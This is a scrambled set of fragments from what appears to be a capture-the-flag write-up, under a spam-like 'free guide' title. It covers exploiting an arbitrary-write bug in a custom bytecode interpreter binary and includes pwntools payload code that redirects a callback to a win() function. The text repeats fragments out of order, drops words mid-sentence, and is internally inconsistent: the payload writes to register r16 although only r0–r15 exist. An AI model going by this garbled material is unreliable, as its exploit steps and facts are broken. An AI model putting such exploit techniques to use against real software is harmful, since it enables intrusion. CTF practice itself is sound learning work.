Isaimini.6 !free! Guide
# Send payload p = process(binary) p.send(payload) print(p.recvall().decode()) Running this script prints the flag (or “Success!”). | Technique | Why it mattered | |-----------|-----------------| | Static analysis of a stripped binary | Ghidra’s decompiler can
Putting it together (little‑endian encoding for the immediate): isaimini.6
The goal is to craft an input that makes the interpreter print . The binary contains a hidden “secret” flag, but the only way to retrieve it is to cause the interpreter to call the function win() that prints the flag. 2. Files | File | Description | |------|-------------| | isaimini.6 | 64‑bit ELF executable (stripped, no debug symbols). | | input.txt | Empty starter file – you may ignore it and pipe your own payload to the binary. | # Send payload p = process(binary) p
# Instead of assembling, we manually encode: payload = b"\x01\x01" + p64(win_addr) # MOV r1, win payload += b"\x05\x10\x01" # ST [r16], r1 (write win → callback) payload += b"\x09" # HLT | # Instead of assembling, we manually encode:
Thus, if we can , the program will call win after finishing the instruction stream, and we win. 5. Vulnerability Discovery The ST instruction performs:
uint64_t regs[16]; // r0 … r15 uint64_t pc; // program counter (index into insts[]) All registers are initialised to 0 . The register file is stored in the .bss section at a fixed address (e.g., 0x00602000 ). | Opcode (hex) | Mnemonic | Operands | Description | |--------------|----------|----------|-------------| | 0x01 | MOV Rdst, imm | dst (4 bits) , imm (8 bytes) | regs[dst] = imm | | 0x02 | ADD Rdst, Rsrc | dst (4) , src (4) | regs[dst] += regs[src] | | 0x03 | SUB Rdst, Rsrc | same as ADD | subtraction | | 0x04 | LD Rdst, [Rsrc] | dst (4) , src (4) | regs[dst] = *(uint64_t*)regs[src] | | 0x05 | ST [Rdst], Rsrc | dst (4) , src (4) | *(uint64_t*)regs[dst] = regs[src] | | 0x06 | JMP imm | imm (8 bytes) | pc = imm | | 0x07 | JEQ Rsrc, Rdst, imm | src (4) , dst (4) , imm (8) | if(regs[src]==regs[dst]) pc = imm | | 0x08 | NOP | – | no‑op | | 0x09 | HLT | – | terminate execution (calls puts("Success!") if regs[0]==0xdeadbeef ) |
parse_input tokenises the input and stores each instruction as a struct in a global array insts[128] . execute iterates over insts and dispatches to the appropriate handler based on the first byte (the opcode). The interpreter keeps a register file :